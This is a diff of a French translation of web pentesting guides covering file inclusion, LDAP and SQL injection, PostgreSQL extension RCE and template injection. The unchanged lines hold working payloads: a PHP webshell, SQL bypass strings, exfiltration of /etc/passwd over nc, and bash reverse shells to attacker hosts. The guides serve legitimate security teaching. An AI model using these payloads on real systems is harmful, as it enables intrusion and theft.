+Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
@ -171,9 +171,9 @@ Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin pré
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+C'est le comportement prévu selon [les docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) :

-> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.
+> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.

 ## Java Lister les Répertoires

@ -273,7 +273,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the

 ### Utilisation des filtres php comme oracle pour lire des fichiers arbitraires

-[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
+[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) en utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.

 Dans le post original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :

@ -282,12 +282,12 @@ Dans le post original, vous pouvez trouver une explication détaillée de la tec
 - Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
 - Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera que php génère une erreur.
 - Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début, il est possible de fuir d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de fuir les 2 premières lettres pour fuir le nombre.
- Le problème final est de voir **comment fuir plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à ce que vous atteigniez le bit désiré à fuir.
+- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
+- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
+- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
+- Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à leak.

-Dans le post, un outil pour effectuer cela automatiquement a également été divulgué : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Dans le post, un outil pour effectuer cela automatiquement a également été leaké : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

@ -316,7 +316,7 @@ mv payload.rar shell.jpg;
 rm payload.php
 http://example.com/index.php?page=rar://shell.jpg%23payload.php
 ```
-### data://
+### données://
 ```
 http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
 http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -452,7 +452,7 @@ Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi

 ### Via Email

-**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
+**Envoyez un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**

 ### Via /proc/\*/fd/\*

@ -461,7 +461,7 @@ Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi

 ### Via /proc/self/environ

-Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
+Comme un fichier journal, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
@ -480,14 +480,14 @@ Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez à :
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Via les sessions PHP
+### Via PHP sessions

-Vérifiez si le site utilise la session PHP (PHPSESSID)
+Vérifiez si le site utilise PHP Session (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-Dans PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
+En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -506,14 +506,14 @@ Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /

 ### **Via** **vsftpd** _**logs**_

-Les journaux pour le serveur FTP vsftpd sont situés à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
+Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :

-1. Injecter un payload PHP dans le champ nom d'utilisateur lors du processus de connexion.
-2. Après l'injection, utiliser le LFI pour récupérer les journaux du serveur depuis _**/var/log/vsftpd.log**_.
+1. Injectez un payload PHP dans le champ nom d'utilisateur lors du processus de connexion.
+2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de _**/var/log/vsftpd.log**_.

 ### Via php base64 filter (using base64)

-Comme montré dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre PHP base64 ignore simplement les Non-base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de payload :
+Comme indiqué dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre PHP base64 ignore simplement les Non-base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de payload :
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

@ -609,9 +609,4 @@ Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/p

 ## References

- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
-
-{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
-
-{{#include ../../banners/hacktricks-training.md}}
+- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@ -12,7 +12,9 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 ```
 Vous devez également changer le **payload** au début de l'exploit (pour un php-rev-shell par exemple), le **REQ1** (cela doit pointer vers la page phpinfo et doit inclure le padding, c'est-à-dire : _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), et **LFIREQ** (cela doit pointer vers la vulnérabilité LFI, c'est-à-dire : _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Vérifiez le double "%" lors de l'exploitation du caractère nul)

-{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
+{{#file}}
+LFI-With-PHPInfo-Assistance.pdf
+{{#endfile}}

 ### Théorie

--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@ -16,7 +16,9 @@

 **L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir des entrées utilisateur. Elle se produit lorsque l'application **ne parvient pas à assainir correctement** les entrées, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données.

-{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
+{{#file}}
+EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
+{{#endfile}}

 **Filtre** = ( filtercomp )\
 **Filtercomp** = et / ou / non / élément\
@ -56,7 +58,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu

 ### Contournement de connexion

-LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
+LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché.
 ```bash
 user=*
 password=*
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@ -51,7 +51,7 @@ SQLite
 HQL
 HQL does not support comments
 ```
-### Confirmation par opérations logiques
+### Confirmation avec des opérations logiques

 Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL.

@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
 ```
 Cette liste de mots a été créée pour essayer de **confirmer les SQLinjections** de la manière proposée :

-{% file src="../../images/sqli-logic.txt" %}
+{{#file}}
+sqli-logic.txt
+{{#endfile}}

-### Confirmation par Timing
+### Confirmation par le Temps

-Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
+Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir des SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
 Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter :
 ```
 MySQL (string concat and logical ops)
@ -141,7 +143,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
 ### Détection du nombre de colonnes

 Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\
-Tout d'abord, nous devons déterminer le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
+Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
 Deux méthodes sont généralement utilisées à cet effet :

 #### Order/Group by
@ -189,11 +191,11 @@ _Il existe une méthode différente pour découvrir ces données sur chaque base

 ## Exploiting Hidden Union Based

-Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inaccessibile, cela signifie la présence d'une **injection basée sur un union caché**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.
+Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inaccessibile, cela signifie qu'il y a une **injection basée sur un union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.

-Cela peut être accompli grâce à l'utilisation de techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
+Cela peut être accompli en utilisant des techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.

-Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Par la suite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.
+Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.

 Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).

@ -207,7 +209,7 @@ En suivant un flux similaire à celui de l'exploitation basée sur un union, vou
 ## Exploiter le Blind SQLi

 Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distingué** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\
-Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère :
+Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère :
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 ```
@ -281,9 +283,11 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : _**Pass1234.**_\
 &#xNAN;_(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)_

-{% file src="../../images/sqli-hashbypass.txt" %}
+{{#file}}
+sqli-hashbypass.txt
+{{#endfile}}

-### Contournement d'authentification GBK
+### Contournement de l'authentification GBK

 SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé : 0xA80x5c0x27 (_╘'_)
 ```sql
@ -420,7 +424,7 @@ SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
 ```
 ### Bypasses génériques

-Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
+Blacklist utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
 ```sql
 ?id=1 AND 1=1#
 ?id=1 AnD 1=1#
@ -434,7 +438,7 @@ OR    -> || -> %7C%7C
 > X   -> not between 0 and X
 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
 ```
-### Contournement WAF par notation scientifique
+### Contournement WAF par Notation Scientifique

 Vous pouvez trouver une explication plus approfondie de cette astuce dans le [blog gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 Fondamentalement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
@ -443,11 +447,11 @@ Fondamentalement, vous pouvez utiliser la notation scientifique de manière inat
 -1' or 1337.1337e1 or '1'='1
 ' or 1.e('')=
 ```
-### Contourner la restriction des noms de colonnes
+### Contournement de la restriction des noms de colonnes

 Tout d'abord, notez que si la **requête originale et la table dont vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`

-Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à :
+Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme suit : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à :
 ```bash
 # This is an example with 3 columns that will extract the column number 3
 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@ -8,13 +8,13 @@ PostgreSQL a été développé avec l'extensibilité comme caractéristique prin

 À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.

-De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
+De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers vers la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)

 ### RCE sous Linux

 **Pour plus d'informations, consultez : [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**

-L'exécution de commandes système depuis PostgreSQL 8.1 et les versions antérieures est un processus qui a été clairement documenté et qui est simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+L'exécution de commandes système depuis PostgreSQL 8.1 et les versions antérieures est un processus qui a été clairement documenté et est simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
 ```sql
 CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
 SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -90,7 +90,7 @@ Obtenez la version de PostgreSQL avec :
 SELECT version();
 PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
 ```
-Pour des raisons de compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.
+Pour la compatibilité, il est essentiel que les versions majeures s'alignent. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.

 Pour installer cette version sur votre système :
 ```bash
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
 SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
 #Notice the double single quotes are needed to scape the qoutes
 ```
-Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec :
+Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et vous pouvez même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec :

 {{#ref}}
 https://github.com/Dionach/pgexec
@ -166,7 +166,9 @@ PG_RETURN_VOID();
 ```
 Vous pouvez trouver le DLL compilé dans ce zip :

-{% file src="../../../images/pgsql_exec.zip" %}
+{{#file}}
+pgsql_exec.zip
+{{#endfile}}

 Vous pouvez indiquer à ce DLL **quel binaire exécuter** et le nombre de fois à l'exécuter, dans cet exemple, il exécutera `calc.exe` 2 fois :
 ```bash
@ -256,7 +258,7 @@ Notez comment dans ce cas le **code malveillant est à l'intérieur de la foncti
 ```c
 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
 ```
-Le [projet PolyUDF](https://github.com/rop-la/PolyUDF) est également un bon point de départ avec le projet complet MS Visual Studio et une bibliothèque prête à l'emploi (y compris : _command eval_, _exec_ et _cleanup_) avec support multiversion.
+Le [PolyUDF project](https://github.com/rop-la/PolyUDF) est également un bon point de départ avec le projet complet MS Visual Studio et une bibliothèque prête à l'emploi (y compris : _command eval_, _exec_ et _cleanup_) avec support multiversion.

 ### RCE dans les dernières versions de PostgreSQL

@ -279,10 +281,10 @@ Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour ce
 create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
 select connect_back('192.168.100.54', 1234);
 ```
-_Remarque que tu n'as pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
+_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._

-Pour plus d'informations, **lis la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
-Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lis n'importe quelle des versions précédentes_).\
+Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
+Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lisez l'une des versions précédentes_).\
 Sur la même page, cet **exploit pour automatiser** cette technique a été donné :
 ```python
 #!/usr/bin/env python3
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@ -1,12 +1,12 @@
-# SSTI (Injection de Template Côté Serveur)
+# SSTI (Injection de Modèle Côté Serveur)

 {{#include ../../banners/hacktricks-training.md}}

-## Qu'est-ce que SSTI (Injection de Template Côté Serveur)
+## Qu'est-ce que SSTI (Injection de Modèle Côté Serveur)

-L'injection de template côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un template qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
+L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.

-Jinja est un moteur de template populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja :
+Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja :
 ```python
 output = template.render(name=request.args.get('name'))
 ```
@ -16,9 +16,9 @@ Par exemple, un attaquant pourrait créer une requête avec une charge utile com
 ```
 http://vulnerable-website.com/?name={{bad-stuff-here}}
 ```
-Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, ce qui peut potentiellement lui donner le contrôle sur le serveur.
+Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, pouvant potentiellement prendre le contrôle du serveur.

-Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées des utilisateurs sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.
+Pour prévenir les vulnérabilités d'injection de template côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement assainies et validées avant d'être insérées dans les templates. La mise en œuvre de la validation des entrées et l'utilisation de techniques d'échappement contextuelles peuvent aider à atténuer le risque de cette vulnérabilité.

 ### Détection

@ -26,7 +26,7 @@ Pour détecter l'injection de template côté serveur (SSTI), au départ, **fuzz

 - Erreurs lancées, révélant la vulnérabilité et potentiellement le moteur de template.
 - Absence du payload dans la réflexion, ou des parties manquantes, impliquant que le serveur le traite différemment des données régulières.
- **Contexte en texte brut** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
+- **Contexte en texte clair** : Distinguer de XSS en vérifiant si le serveur évalue les expressions de template (par exemple, `{{7*7}}`, `${7*7}`).
 - **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` retournant le nom d'utilisateur.

 #### Phase d'identification
@ -60,15 +60,15 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
 python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
 ```
-### [Table d'injection de modèle](https://github.com/Hackmanit/template-injection-table)
+### [Table d'injection de modèles](https://github.com/Hackmanit/template-injection-table)

-une table interactive contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.
+une table interactive contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants.

 ## Exploits

 ### Générique

-Dans cette **liste de mots** vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
+Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :

 - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
 - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -100,7 +100,7 @@ Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](h

 - `{{7*7}} = {{7*7}}`
 - `${7*7} = 49`
- `#{7*7} = 49 -- (héritage)`
+- `#{7*7} = 49 -- (legacy)`
 - `${7*'7'} Rien`
 - `${foobar}`
 ```java
@ -155,7 +155,7 @@ $out.read()

 ### Thymeleaf

-Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une exécution de code à distance potentielle, des expressions comme les suivantes peuvent être utilisées :
